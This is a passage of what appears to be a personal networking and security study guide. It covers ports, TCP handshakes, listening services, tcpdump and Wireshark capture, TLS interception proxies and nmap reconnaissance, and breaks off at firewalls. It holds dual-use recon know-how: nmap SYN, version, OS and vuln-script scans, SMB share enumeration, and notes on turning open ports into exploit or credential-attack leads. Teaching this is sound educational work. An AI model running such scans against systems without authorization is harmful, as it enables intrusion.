      <td>Abusing <code class="language-plaintext highlighter-rouge">Host</code>, <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code>, etc.</td>
    </tr>
    <tr>
      <td>Directory enumeration</td>
      <td>Using status codes to find hidden pages</td>
    </tr>
  </tbody>
</table>

<p>To attack <em>or</em> defend any of these, I have to read HTTP fluently — methods, headers, status codes, body. That’s why this chapter is foundational.</p>

<blockquote>
  <p>Ethics reminder: practice HTTP attacks only on systems you own or are authorized to test — intentionally-vulnerable labs like <code class="language-plaintext highlighter-rouge">httpbin.org</code>, DVWA, the PortSwigger Web Security Academy, or OWASP Juice Shop. Never test sites you don’t have permission for.</p>
</blockquote>

<h2 id="ports">Ports</h2>

<p>One computer runs many programs; a port says which program a message is for.</p>

<h3 id="what-a-port-actually-is">What a port actually is</h3>

<p>An IP address gets data to the right <em>machine</em>. But one machine runs dozens of programs at once — a browser, an email client, Spotify, a database. A <strong>port</strong> is a number (<code class="language-plaintext highlighter-rouge">0–65535</code>) that says which <em>program</em> on that machine a message is for.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IP address  -&gt;  WHICH computer   (the building)
Port number -&gt;  WHICH program    (the apartment number)
</code></pre></div></div>

<p>So a full destination is always <code class="language-plaintext highlighter-rouge">IP : Port</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>142.250.182.14 : 443      &lt;- Google's server, the HTTPS program
</code></pre></div></div>

<h3 id="the-port-number-ranges">The port number ranges</h3>

<table>
  <thead>
    <tr>
      <th>Range</th>
      <th>Name</th>
      <th>Used for</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0–1023</code></td>
      <td>Well-known ports</td>
      <td>Standard services (HTTP, SSH, DNS). Need admin/root to bind.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1024–49151</code></td>
      <td>Registered ports</td>
      <td>Apps registered with IANA (e.g. <code class="language-plaintext highlighter-rouge">3306</code> MySQL, <code class="language-plaintext highlighter-rouge">8080</code> dev servers)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">49152–65535</code></td>
      <td>Dynamic / ephemeral</td>
      <td>Temporary ports the OS picks for outgoing connections</td>
    </tr>
  </tbody>
</table>

<h3 id="ports-worth-memorizing">Ports worth memorizing</h3>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Protocol</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">20/21</code></td>
      <td>FTP</td>
      <td>TCP</td>
      <td>File transfer (insecure, plaintext)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">22</code></td>
      <td>SSH</td>
      <td>TCP</td>
      <td>Secure remote shell — huge in security</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">23</code></td>
      <td>Telnet</td>
      <td>TCP</td>
      <td>Remote shell, plaintext (dead/insecure)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">25</code></td>
      <td>SMTP</td>
      <td>TCP</td>
      <td>Sending email</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">53</code></td>
      <td>DNS</td>
      <td>UDP/TCP</td>
      <td>Name resolution</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">80</code></td>
      <td>HTTP</td>
      <td>TCP</td>
      <td>Web (unencrypted)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">110</code></td>
      <td>POP3</td>
      <td>TCP</td>
      <td>Receiving email</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">143</code></td>
      <td>IMAP</td>
      <td>TCP</td>
      <td>Receiving email</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">443</code></td>
      <td>HTTPS</td>
      <td>TCP</td>
      <td>Web (encrypted) — the most important</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">445</code></td>
      <td>SMB</td>
      <td>TCP</td>
      <td>Windows file sharing (common attack target)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">3306</code></td>
      <td>MySQL</td>
      <td>TCP</td>
      <td>Database</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">3389</code></td>
      <td>RDP</td>
      <td>TCP</td>
      <td>Windows Remote Desktop</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">8080</code></td>
      <td>HTTP-alt</td>
      <td>TCP</td>
      <td>Proxies / dev web servers</td>
    </tr>
  </tbody>
</table>

<p>Knowing the service behind a port is half of recon. An open <code class="language-plaintext highlighter-rouge">445</code> screams “Windows file sharing — check for exploits”; an open <code class="language-plaintext highlighter-rouge">3389</code> means “remote desktop — try credential attacks.”</p>

<h3 id="source-vs-destination-port">Source vs destination port</h3>

<p>Every connection has <em>two</em> ports. When my laptop browses Google:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My laptop                           Google server
192.168.1.24 : 51324    -------&gt;    142.250.182.14 : 443
(random ephemeral port)             (well-known HTTPS port)
</code></pre></div></div>

<p>The <strong>destination</strong> port is fixed and known (<code class="language-plaintext highlighter-rouge">443</code> = HTTPS). My <strong>source</strong> port is random/ephemeral — it’s how my OS tracks which of my many connections a reply belongs to. When Google replies, it sends to <code class="language-plaintext highlighter-rouge">192.168.1.24:51324</code>, and my OS routes that data back to the right browser tab.</p>

<h2 id="tcp-vs-udp--the-handshake">TCP vs UDP + the Handshake</h2>

<p>Reliable vs fast. The SYN → SYN-ACK → ACK 3-way handshake. The 5-tuple.</p>

<p>Ports are addresses. <strong>TCP</strong> and <strong>UDP</strong> are the two transport protocols that actually move data to those ports, and they make opposite trade-offs.</p>

<h3 id="reliable-vs-fast">Reliable vs fast</h3>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>TCP</th>
      <th>UDP</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Full name</td>
      <td>Transmission Control Protocol</td>
      <td>User Datagram Protocol</td>
    </tr>
    <tr>
      <td>Philosophy</td>
      <td>Reliable — guarantees delivery</td>
      <td>Fast — fire and forget</td>
    </tr>
    <tr>
      <td>Connection</td>
      <td>Connection-oriented (handshake first)</td>
      <td>Connectionless (just send)</td>
    </tr>
    <tr>
      <td>Ordering</td>
      <td>Packets reassembled in order</td>
      <td>No ordering guarantee</td>
    </tr>
    <tr>
      <td>Error check</td>
      <td>Retransmits lost packets</td>
      <td>Lost packets are just… lost</td>
    </tr>
    <tr>
      <td>Speed</td>
      <td>Slower (overhead)</td>
      <td>Faster (no overhead)</td>
    </tr>
    <tr>
      <td>Analogy</td>
      <td>Phone call (both confirm, in order)</td>
      <td>Postcard (send, hope it arrives)</td>
    </tr>
    <tr>
      <td>Used by</td>
      <td>Web, SSH, email, file transfer</td>
      <td>Streaming, gaming, DNS, VoIP, video calls</td>
    </tr>
  </tbody>
</table>

<p>Why both exist: loading a webpage can’t tolerate a missing byte → TCP. A live video call would rather drop one frame than freeze waiting for it → UDP.</p>

<h3 id="the-tcp-3-way-handshake">The TCP 3-way handshake</h3>

<p>Before TCP sends data, both sides agree to talk. This is the famous SYN → SYN-ACK → ACK:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CLIENT                                    SERVER
  |                                          |
  | ----------- SYN ----------------------&gt;  |  "Can we talk? Here's my
  |           (seq=x)                         |   starting sequence number x"
  |                                          |
  | &lt;---------- SYN-ACK -------------------   |  "Yes. I got x (ack=x+1).
  |          (seq=y, ack=x+1)                 |   Here's my number y"
  |                                          |
  | ----------- ACK ----------------------&gt;  |  "Got your y (ack=y+1).
  |           (ack=y+1)                       |   Let's go!"
  |                                          |
  | ======= CONNECTION ESTABLISHED =======   |
  | &lt;---------- data flows -----------&gt;       |
</code></pre></div></div>

<ul>
  <li><strong>SYN</strong> (synchronize): client asks to connect, sends its sequence number.</li>
  <li><strong>SYN-ACK</strong>: server agrees, acknowledges the client’s number, and sends its own.</li>
  <li><strong>ACK</strong>: client acknowledges the server’s number → the connection is open.</li>
</ul>

<p>There’s also a 4-way teardown to close it (FIN → ACK → FIN → ACK).</p>

<p>The security relevance: the <strong>SYN flood</strong> attack (a DoS) sends thousands of SYNs but never the final ACK, leaving the server holding half-open connections until it’s exhausted. Nmap’s <strong>SYN scan</strong> (<code class="language-plaintext highlighter-rouge">-sS</code>) sends a SYN, reads the reply, then never completes — a stealthy way to find open ports without a full connection.</p>

<h3 id="the-5-tuple">The 5-tuple</h3>

<p>A single server (e.g. <code class="language-plaintext highlighter-rouge">:443</code>) handles thousands of simultaneous clients. How does it keep them apart? Every connection is uniquely identified by <strong>5 values</strong> — the 5-tuple:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Protocol         (TCP or UDP)
2. Source IP        (192.168.1.24)
3. Source Port      (51324)
4. Destination IP   (142.250.182.14)
5. Destination Port (443)
</code></pre></div></div>

<p>If even one value differs, it’s a different connection. This is how my laptop can have two tabs open to the same Google server — same destination IP+port, but different source ports make them distinct.</p>

<h2 id="open-ports--whats-listening">Open Ports / What’s Listening</h2>

<p>Every open port is a possible door in. Core security skill.</p>

<p>The principle: <strong>every open port is a program listening for connections — and therefore a possible door in.</strong></p>

<h3 id="what-listening-means">What “listening” means</h3>

<p>A program that accepts connections <strong>binds</strong> to a port and waits — we say it’s <em>listening</em>. Three states matter:</p>

<table>
  <thead>
    <tr>
      <th>State</th>
      <th>Meaning</th>
      <th>Security view</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Open / listening</td>
      <td>A service is actively accepting connections</td>
      <td>A potential entry point — attack surface</td>
    </tr>
    <tr>
      <td>Closed</td>
      <td>Nothing listening; machine actively refuses</td>
      <td>No service, but the host is alive</td>
    </tr>
    <tr>
      <td>Filtered</td>
      <td>A firewall is silently dropping packets</td>
      <td>Can’t tell what’s behind it</td>
    </tr>
  </tbody>
</table>

<h3 id="why-this-is-the-heart-of-recon-and-defense">Why this is the heart of recon and defense</h3>

<ul>
  <li><strong>Attacker’s view:</strong> “What’s running on this box? Each open port is a service I can fingerprint, version-check, and look for exploits against.” This is the port-scanning phase of every penetration test.</li>
  <li><strong>Defender’s view:</strong> “What am I exposing that I shouldn’t be?” The number-one hardening rule is <em>reduce attack surface</em> — close every port you don’t need. A forgotten open database port (<code class="language-plaintext highlighter-rouge">3306</code>) or RDP (<code class="language-plaintext highlighter-rouge">3389</code>) is how breaches start.</li>
</ul>

<h3 id="check-whats-listening-on-my-own-machine">Check what’s listening on my own machine</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># macOS / Linux — list listening ports + the program owning each
sudo lsof -iTCP -sTCP:LISTEN -n -P

# Linux (modern) — sockets, listening only, with process
sudo ss -tulpn
#   -t tcp  -u udp  -l listening  -p process  -n numeric

# Older but universal
netstat -an | grep LISTEN

# macOS: what specific process is on port 5000?
sudo lsof -i :5000
</code></pre></div></div>

<p>Reading typical output: <code class="language-plaintext highlighter-rouge">node ... *:3000 (LISTEN)</code> means a Node app is listening on port 3000 on all interfaces. The bind address matters: <code class="language-plaintext highlighter-rouge">*:3000</code> or <code class="language-plaintext highlighter-rouge">0.0.0.0:3000</code> = listening on all network interfaces (reachable from outside — riskier), while <code class="language-plaintext highlighter-rouge">127.0.0.1:3000</code> = localhost only (only this machine can reach it — much safer).</p>

<h3 id="scan-whats-open-on-another-machine--nmap">Scan what’s open on another machine — nmap</h3>

<p>Nmap is <em>the</em> port scanner. (Only scan machines you own or have written permission to test.)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Basic scan of the most common 1000 ports
nmap 192.168.1.1

# Scan a specific port range
nmap -p 1-1000 192.168.1.1

# Scan ALL 65535 ports
nmap -p- 192.168.1.1

# Service + version detection (what's actually running)
nmap -sV 192.168.1.1

# Stealthy SYN scan + OS detection + versions (needs sudo)
sudo nmap -sS -sV -O 192.168.1.1

# Scan the whole local network to find live hosts
nmap -sn 192.168.1.0/24
</code></pre></div></div>

<p>What a scan tells me:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE  SERVICE   VERSION
22/tcp   open   ssh       OpenSSH 8.9      &lt;- brute-force / known CVE?
80/tcp   open   http      nginx 1.18       &lt;- check the web app
443/tcp  open   https     nginx 1.18
3306/tcp open   mysql     MySQL 8.0        &lt;- database exposed! should this be public?
</code></pre></div></div>

<p>This chapter is also where the <code class="language-plaintext highlighter-rouge">nmap</code> work in <strong>Scanning with nmap</strong> later picks up.</p>

<hr />

<h1 id="seeing--probing">Seeing &amp; Probing</h1>

<h2 id="watching-real-traffic-tcpdump--wireshark-">Watching Real Traffic (tcpdump / Wireshark) ★</h2>

<p>Actually seeing the bytes on the wire. Packet capture is the disassembler of the network.</p>

<p>Packet capture is the disassembler of the network. Just as a disassembler shows the actual machine instructions a program runs, a packet sniffer shows the actual bytes crossing the wire — not what an app <em>claims</em> it sent, but what it really sent.</p>

<h3 id="how-sniffing-works">How sniffing works</h3>

<p>A network card normally ignores traffic not addressed to it. A sniffer puts the card into <strong>promiscuous mode</strong> (wired) or <strong>monitor mode</strong> (Wi-Fi) so it captures everything it can see, then decodes each packet layer by layer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Raw bytes on the wire
   |
   |- Layer 2: Ethernet  -&gt; src MAC, dst MAC
   |- Layer 3: IP        -&gt; src IP, dst IP, TTL
   |- Layer 4: TCP/UDP   -&gt; src port, dst port, flags (SYN/ACK...)
   |- Layer 7: HTTP/DNS  -&gt; the actual content (if unencrypted)
</code></pre></div></div>

<p>The crucial limit: I can only capture traffic that physically reaches my card. On a switched network I mostly see my own traffic plus broadcasts. To see <em>others’</em> traffic I’d need a SPAN/mirror port, a hub, or to be MITM (e.g. ARP spoofing) — which is exactly why sniffing and spoofing go hand in hand.</p>

<h3 id="tcpdump--the-command-line-sniffer">tcpdump — the command-line sniffer</h3>

<p>Fast, scriptable, on almost every system. Format: <code class="language-plaintext highlighter-rouge">tcpdump [options] [filter expression]</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># List capture interfaces
sudo tcpdump -D

# Capture on the Wi-Fi interface, show packets
sudo tcpdump -i en0

# Don't resolve names/ports (faster, clearer) + be verbose
sudo tcpdump -i en0 -nn -v

# Only port 80 (HTTP) traffic
sudo tcpdump -i en0 -nn port 80

# Only traffic to/from one host
sudo tcpdump -i en0 -nn host 192.168.1.1

# Only DNS queries (port 53)
sudo tcpdump -i en0 -nn port 53

# Capture only TCP SYN packets (new connection attempts)
sudo tcpdump -i en0 -nn 'tcp[tcpflags] &amp; tcp-syn != 0'

# Show packet CONTENTS in ASCII (see HTTP, etc.)
sudo tcpdump -i en0 -nn -A port 80

# Save to a file for later analysis in Wireshark
sudo tcpdump -i en0 -w capture.pcap

# Read a saved capture back
tcpdump -r capture.pcap -nn
</code></pre></div></div>

<p>Reading a line:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>12:30:45.123 IP 192.168.1.24.51324 &gt; 142.250.182.14.443: Flags [S], seq 12345...
            |   |--source IP.port-|   |--dest IP.port---|        |
         timestamp                                            [S]=SYN (handshake start)
</code></pre></div></div>

<p>Flag letters: <code class="language-plaintext highlighter-rouge">S</code>=SYN, <code class="language-plaintext highlighter-rouge">.</code>=ACK, <code class="language-plaintext highlighter-rouge">P</code>=PSH (data), <code class="language-plaintext highlighter-rouge">F</code>=FIN (close), <code class="language-plaintext highlighter-rouge">R</code>=RST (reset).</p>

<h3 id="wireshark--the-graphical-analyzer">Wireshark — the graphical analyzer</h3>

<p>Same captures, but with a GUI, deep protocol decoding, and powerful filters. The usual split: tcpdump to capture (especially on servers), Wireshark to analyze. There are two filter types — don’t confuse them:</p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>When</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Capture filter</td>
      <td>Before capture, limits what’s recorded (BPF syntax, like tcpdump)</td>
      <td><code class="language-plaintext highlighter-rouge">port 443</code></td>
    </tr>
    <tr>
      <td>Display filter</td>
      <td>After capture, filters the view (Wireshark syntax)</td>
      <td><code class="language-plaintext highlighter-rouge">http.request.method == "GET"</code></td>
    </tr>
  </tbody>
</table>

<p>Essential display filters:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip.addr == 192.168.1.1          # traffic to/from a host
tcp.port == 443                 # a port
http                            # only HTTP
dns                             # only DNS
tcp.flags.syn == 1              # SYN packets
arp                             # ARP traffic (watch for spoofing!)
http.request                    # HTTP requests only
tcp.analysis.retransmission     # signs of packet loss
</code></pre></div></div>

<p>The killer feature is <strong>Follow Stream</strong>: right-click any packet → Follow → TCP Stream reassembles the whole conversation into readable text. For an HTTP site I literally see the full request and response, including any plaintext passwords. It’s the single most powerful demo of why HTTP is dangerous and HTTPS matters.</p>

<h3 id="security-uses">Security uses</h3>

<ul>
  <li><strong>Credential capture</strong> on plaintext protocols (HTTP, FTP, Telnet) — proves why encryption is mandatory.</li>
  <li><strong>Detecting ARP spoofing</strong> — filter <code class="language-plaintext highlighter-rouge">arp</code>, watch for an IP’s MAC suddenly changing or duplicate replies.</li>
  <li><strong>Malware / C2 analysis</strong> — spot beaconing, DNS tunneling, exfiltration.</li>
  <li><strong>Troubleshooting</strong> — see retransmissions, resets, failed handshakes.</li>
</ul>

<h2 id="tls--https">TLS / HTTPS</h2>

<p>How traffic gets encrypted, the certificate chain of trust, and why attackers can’t just read it (and how interception proxies get around it).</p>

<p>HTTPS = HTTP inside an encrypted TLS tunnel. A sniffer on the wire (the previous chapter) sees only scrambled bytes — that’s the whole point.</p>

<h3 id="what-tls-provides">What TLS provides</h3>

<table>
  <thead>
    <tr>
      <th>Guarantee</th>
      <th>Meaning</th>
      <th>Without it…</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Confidentiality</td>
      <td>Traffic is encrypted</td>
      <td>Anyone sniffing reads everything</td>
    </tr>
    <tr>
      <td>Integrity</td>
      <td>Tampering is detected</td>
      <td>A MITM could alter data in transit</td>
    </tr>
    <tr>
      <td>Authentication</td>
      <td>I’m really talking to the real server</td>
      <td>I could be on a phishing clone</td>
    </tr>
  </tbody>
</table>

<h3 id="combining-two-kinds-of-crypto">Combining two kinds of crypto</h3>

<p>TLS solves a chicken-and-egg problem: how do two strangers agree on a secret key over a wire an attacker is watching?</p>

<ul>
  <li><strong>Asymmetric</strong> (public/private key) — slow, but lets strangers establish trust without sharing a secret first. Used only at the start, to authenticate the server and securely agree on a key.</li>
  <li><strong>Symmetric</strong> (one shared key) — fast. Used for the actual data once the key is agreed.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Start: use SLOW asymmetric crypto -&gt; safely agree on a shared key
Then:  use FAST symmetric crypto with that key -&gt; encrypt all data
</code></pre></div></div>

<h3 id="the-tls-handshake-simplified">The TLS handshake (simplified)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CLIENT                                          SERVER
  |                                                |
  | -- ClientHello --------------------------&gt;     |  "I support these ciphers;
  |    (TLS versions, cipher suites, random)        |   here's my random"
  |                                                |
  | &lt;-- ServerHello + CERTIFICATE -----------      |  "Chosen cipher + here's my
  |     (chosen cipher, server random, cert)        |   certificate (public key,
  |                                                |   signed by a CA)"
  |                                                |
  |  [Client verifies the certificate chain]        |
  |                                                |
  | -- key exchange -------------------------&gt;     |  Both derive the same
  | &lt;-- Finished ----------------------------       |  shared symmetric key
  |                                                |
  | === ENCRYPTED APPLICATION DATA (symmetric) ===  |
</code></pre></div></div>

<p>(TLS 1.3 streamlines this to one round trip and drops old, weak options.)</p>

<h3 id="the-certificate-chain-of-trust">The certificate chain of trust</h3>

<p>How does my browser know the certificate is genuinely Google’s and not a forgery? A signature chain anchored in trust my OS/browser already holds:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ROOT CA (e.g. ISRG, DigiCert)      &lt;- pre-installed &amp; trusted by my device
in the OS/browser "trust store"
        | signs
INTERMEDIATE CA
        | signs
SERVER CERT (google.com)           &lt;- presented in the handshake
</code></pre></div></div>

<p>The browser verifies that each cert is signed by the one above it, up to a Root CA it already trusts. It also checks that the cert’s name matches the domain, that it isn’t expired, and that it isn’t revoked. Any failure → the scary “Your connection is not private” warning.</p>

<h3 id="why-attackers-cant-just-read-https--and-how-proxies-get-around-it">Why attackers can’t just read HTTPS — and how proxies get around it</h3>

<p>A <strong>passive sniffer</strong> fails because the data is symmetric-encrypted with a key negotiated using asymmetric crypto. The attacker never sees the private key, so they see only ciphertext.</p>

<p>A <strong>basic MITM</strong> fails because if the attacker swaps in their own certificate for <code class="language-plaintext highlighter-rouge">google.com</code>, it isn’t signed by a trusted CA (they can’t forge a CA signature) → the browser screams. This is exactly why HTTPS defeats the ARP-spoofing MITM from earlier — they can reroute my traffic but can’t decrypt or convincingly impersonate it.</p>

<p><strong>Interception does work</strong> with TLS-inspection proxies (Burp Suite, mitmproxy, corporate firewalls) by <em>terminating TLS in the middle</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Me --TLS#1--&gt; PROXY --TLS#2--&gt; Real Server
                ^
   proxy presents ITS OWN cert to me,
   and I must TRUST the proxy's CA
</code></pre></div></div>

<p>The catch: I (or an admin) must install the proxy’s CA certificate into the trust store first. Once that root is trusted, the proxy’s forged certs pass validation and it can read everything. This is legitimate for pentesters debugging an app (Burp) or companies inspecting employee traffic — and it’s exactly why you should <strong>never install an unknown root CA</strong>: it hands someone the power to silently MITM all your HTTPS.</p>

<h3 id="hands-on">Hands-on</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Inspect a site's certificate from the terminal
openssl s_client -connect google.com:443 -servername google.com

# Show cert details (issuer, validity, SANs)
echo | openssl s_client -connect google.com:443 2&gt;/dev/null | openssl x509 -noout -text

# Check expiry date only
echo | openssl s_client -connect google.com:443 2&gt;/dev/null | openssl x509 -noout -dates

# Which TLS versions/ciphers does a server support?
nmap --script ssl-enum-ciphers -p 443 google.com
</code></pre></div></div>

<h2 id="scanning-with-nmap-">Scanning with nmap ★</h2>

<p>Mapping a target: what’s open, what software + version it runs. The recon phase.</p>

<p>The recon phase. Before attacking (or defending) anything, you map it: which hosts are alive, what ports are open, what software and version runs behind them. Nmap is the industry-standard tool — it picks up where the <strong>Open Ports</strong> chapter left off.</p>

<h3 id="the-recon-workflow-nmap-covers">The recon workflow nmap covers</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. HOST DISCOVERY   -&gt;  which IPs are alive?      (-sn)
2. PORT SCANNING    -&gt;  which ports are open?     (-sS, -p)
3. SERVICE/VERSION  -&gt;  what software + version?  (-sV)
4. OS DETECTION     -&gt;  what operating system?    (-O)
5. DEEPER ENUM      -&gt;  scripts for vulns/info    (-sC, --script)
</code></pre></div></div>

<h3 id="scan-types">Scan types</h3>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Name</th>
      <th>How it works</th>
      <th>Why</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-sS</code></td>
      <td>SYN / “half-open”</td>
      <td>Sends SYN, sees SYN-ACK, sends RST (never completes)</td>
      <td>Fast, stealthy. Default with sudo.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-sT</code></td>
      <td>TCP connect</td>
      <td>Completes the full 3-way handshake</td>
      <td>When you lack raw-socket/root privileges</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-sU</code></td>
      <td>UDP scan</td>
      <td>Probes UDP ports</td>
      <td>Finds DNS/SNMP/DHCP; slow</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-sn</code></td>
      <td>Ping scan</td>
      <td>Host discovery only, no port scan</td>
      <td>“What’s alive on this subnet?”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-Pn</code></td>
      <td>No ping</td>
      <td>Skip host discovery, assume up</td>
      <td>When targets block ping</td>
    </tr>
  </tbody>
</table>

<h3 id="the-commands-youll-actually-use">The commands you’ll actually use</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Discover live hosts on the network
nmap -sn 192.168.1.0/24

# Quick scan of common 1000 ports
nmap 192.168.1.10

# Scan specific ports / ranges
nmap -p 22,80,443 192.168.1.10
nmap -p 1-1000 192.168.1.10

# Scan ALL 65535 ports
nmap -p- 192.168.1.10

# Service + version detection (the key recon step)
nmap -sV 192.168.1.10

# Default scripts + version (great all-rounder)
nmap -sC -sV 192.168.1.10

# Aggressive: OS detection, version, scripts, traceroute
nmap -A 192.168.1.10

# Stealthy SYN scan + versions + OS (needs sudo)
sudo nmap -sS -sV -O 192.168.1.10

# Control speed: -T0 (paranoid/slow) ... -T5 (insane/fast)
nmap -T4 192.168.1.10

# Run a vuln-detection script category
nmap --script vuln 192.168.1.10

# Save output in all formats
nmap -A -oA scan_results 192.168.1.10
</code></pre></div></div>

<h3 id="reading-the-output">Reading the output</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE    SERVICE   VERSION
22/tcp   open     ssh       OpenSSH 7.6p1 Ubuntu   &lt;- old? check CVEs
80/tcp   open     http      Apache httpd 2.4.29    &lt;- enumerate the web app
443/tcp  open     ssl/http  Apache httpd 2.4.29
3306/tcp open     mysql     MySQL 5.7.33           &lt;- DB exposed — should it be?
8080/tcp filtered http-proxy                       &lt;- firewall dropping probes
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">open</code> → a service is listening (attack surface)</li>
  <li><code class="language-plaintext highlighter-rouge">closed</code> → host alive, nothing on that port</li>
  <li><code class="language-plaintext highlighter-rouge">filtered</code> → a firewall is silently dropping the probes</li>
</ul>

<p>The version string is gold: knowing <code class="language-plaintext highlighter-rouge">OpenSSH 7.6</code> or <code class="language-plaintext highlighter-rouge">Apache 2.4.29</code> lets me look up known CVEs for that exact version. Recon → vulnerability research → exploitation. For defenders, the same output shows what’s exposed and what’s outdated.</p>

<h3 id="the-nmap-scripting-engine-nse">The Nmap Scripting Engine (NSE)</h3>

<p>Nmap runs Lua scripts that go beyond port scanning — banner grabbing, vuln checks, brute force, enumeration:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap --script ssl-enum-ciphers -p 443 target   # TLS config audit
nmap --script smb-enum-shares -p 445 target     # list Windows shares
nmap --script http-title -p 80 target           # grab web page titles
nmap --script vuln target                        # known-vuln checks
</code></pre></div></div>

<p>Scripts live in categories: <code class="language-plaintext highlighter-rouge">default</code>, <code class="language-plaintext highlighter-rouge">safe</code>, <code class="language-plaintext highlighter-rouge">intrusive</code>, <code class="language-plaintext highlighter-rouge">vuln</code>, <code class="language-plaintext highlighter-rouge">auth</code>, <code class="language-plaintext highlighter-rouge">discovery</code>, <code class="language-plaintext highlighter-rouge">brute</code>.</p>

<blockquote>
  <p>Ethics &amp; legal: sniffing networks you don’t own, intercepting others’ TLS, and scanning hosts without written permission are illegal in most jurisdictions. Practice only on your own machines/network or sanctioned labs (TryHackMe, Hack The Box, Metasploitable, your own VMs).</p>
</blockquote>

<hr />

<h1 id="putting-it-together">Putting It Together</h1>

<h2 id="firewalls--nat-defense">Firewalls &amp; NAT Defense</h2>

<p>How traffic gets blocked or allowed (on the 5-tuple) — and why reverse shells dial outward to beat them.</p>

<p>A firewall’s entire job is to decide, for every packet: allow or block? It makes that decision based on the <strong>5-tuple</strong> (protocol, source IP, source port, destination IP, destination port) from the <strong>TCP/UDP</strong> chapter. Understanding this is what makes the reverse-shell trick later click into place.</p>

<h3 id="what-a-firewall-actually-does">What a firewall actually does</h3>

<p>A firewall sits at a boundary (my laptop, a router, a network edge) and checks every packet against an <em>ordered</em> list of rules. Each rule matches on parts of the 5-tuple and says ACCEPT or DROP/REJECT.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Packet arrives -&gt; Rule 1: match? -&gt; Rule 2: match? -&gt; ... -&gt; DEFAULT POLICY
                    | yes              | yes                    | (usually DROP)
                 ACCEPT/DROP        ACCEPT/DROP
</code></pre></div></div>

<p>Two design facts matter most:</p>

<ul>
  <li>Rules are <strong>ordered</strong> — first match wins.</li>
  <li>The <strong>default policy</strong> is the whole game. A secure firewall is <em>default-DROP</em>: block everything, then explicitly allow only what’s needed (a default-deny allowlist).</li>
</ul>

<p>And there are two ways to say “no”:</p>

<table>
  <thead>
    <tr>
      <th>Action</th>
      <th>Behavior</th>
      <th>Effect on a scanner</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DROP</td>
      <td>Silently discard, no reply</td>
      <td>Port shows as <code class="language-plaintext highlighter-rouge">filtered</code> — attacker can’t even tell it exists</td>
    </tr>
    <tr>
      <td>REJECT</td>
      <td>Refuse with an error (RST/ICMP)</td>
      <td>Port shows <code class="language-plaintext highlighter-rouge">closed</code> — attacker knows the host is alive</td>
    </tr>
  </tbody>
</table>

<h3 id="stateless-vs-stateful">Stateless vs stateful</h3>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>Stateless</th>
      <th>Stateful</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Decision basis</td>
      <td>Each packet in isolation</td>
      <td>Tracks whole connections</td>
    </tr>
